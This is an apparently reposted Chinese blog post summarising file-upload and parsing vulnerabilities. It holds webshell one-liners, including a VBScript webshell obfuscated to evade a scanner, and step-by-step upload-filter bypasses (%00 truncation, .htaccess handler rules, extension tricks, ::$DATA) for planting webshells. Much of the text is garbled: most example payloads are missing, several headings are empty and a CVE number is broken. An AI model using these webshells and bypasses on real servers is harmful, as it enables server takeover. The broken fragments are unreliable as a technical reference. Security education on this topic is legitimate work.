700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > nginx 上传文件漏洞_文件上传漏洞 解析漏洞总结

nginx 上传文件漏洞_文件上传漏洞 解析漏洞总结

时间:2022-05-22 20:52:26

相关推荐

nginx 上传文件漏洞_文件上传漏洞 解析漏洞总结

文件上传漏洞、解析漏洞总结

1.文件上传漏洞是什么

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。

文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够这 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。

解析漏洞是什么?

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。

1.1常见的一句话木马

asp一句话木马:

php一句话木马:

aspx一句话木马:

其他一句话木马:

"" Then Execute(Request("value"))%>

""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>

可以躲过雷客图的一句话木马:

set ms = server.CreateObject("MSScriptControl.ScriptControl.1")

ms.Language="VBScript"

ms.AddObject "Response", Response

ms.AddObject "request", request

ms.ExecuteStatement("ev"&"al(request(""value""))")

%>

不用''的asp一句话木马:

不用双引号的一句话木马:

1.2解读php一句话木马

1.3获得webshell常用工具

2常见校验上传文件的方法

2.1客户端校验(前端校验)

1.通过JavaScript来校验上传文件的后缀名是否合法,可以采用白名单,也可以采用黑名的方式

2.判断方法:在点击上传按钮的时候弹出对话框如下图所示,而此时并没有发送数据包

2.2服务端检验-白名单

2.2.1检查http请求头content-type字段,MIME文件类型

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

2.2.2%00截断-get用法

%00截断的使用条件:

php版本必须小于5.3.4

并且php.ini中的magic_quotes_gpc设置为Off

原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制

/imbrave.php%00.jpg => /imbrave.php

.jpg就会被解析为.php从而getwebshell

2.2.3%00截断-post用法

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

}

为什么修改path才可以?

因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。

那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/0818.php

移动文件的时候会将文件保存为:uploads/aaa.php

从而getwebshell

+的URL编码的16进制 为2b,将2b改为00即可

2.3服务端检验-黑名单

2.3.1上传特殊后缀可解析的

一些特殊后缀

php:php3、php4、php5、php7、phtml

jsp:jspx、jspf

asp:asa、cer

apache里有个一个配置文件httpd.conf他可以允许一些特殊后缀名上传,最终都会被解析成php执行如:

AddType application/x-httpd-php .php .phtml.php3.php4.php7 等等

2.3.2上传.htaccess文件

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设

置。 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:

网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制

hatccess写法一

AddType application/x-httpd-php .后缀名

创建相同后缀名的一句话木马,作用就是会让这个后缀名变成php代码执行

hatccess写法二

# FileMatch 参数即为文件名的正则匹配

SetHandler application/x-httpd-php

2.3.3大小写饶过

strtolower()如果没用存在这个函数就如使用大小饶过如:

imbrave.PHP .Php .PHp 等等

2.3.4双写饶过

str_ireplace(find,replace,string,count)

find必需。规定要查找的值。

replace必需。规定替换 find 中的值的值。

string必需。规定被搜索的字符串。

count可选。一个变量,对替换数进行计数。

str_ireplace(php,"",pphphp)通常出现这个函数往往只会替换一次

pphphp 这样就会进行双写饶过 p php hp =》 中的php被替换 剩下p hp =》php

2.3.5点号饶过,空格饶过和::$DATA饶过

.

windows有一个特性,会自动去掉后缀名最后的‘.’

或者是不存在deldot($file_name);//删除文件名末尾的点

空格

windows有一个特性,会自动去掉后缀名最后的空格

或者是不存在trim($file_name);//删除文件空格

::$DATA

操作系统必须windows且是php,中间件都可以

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

3.解析漏洞

3.1apache服务器

3.1.1apache服务器-多后缀解析漏洞

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

如1.php.abc,因apache不识别.abc后缀,所以向前解析php

1.php.abc => 1.php

test.php.owf.rar解析成test.php

3.1.2apache服务器-CVE--15715

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

如:

1.php\x0a => 1.php

复现漏洞,这边在dockerhub拉了一个镜像,代码比较简单过滤一些后缀

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。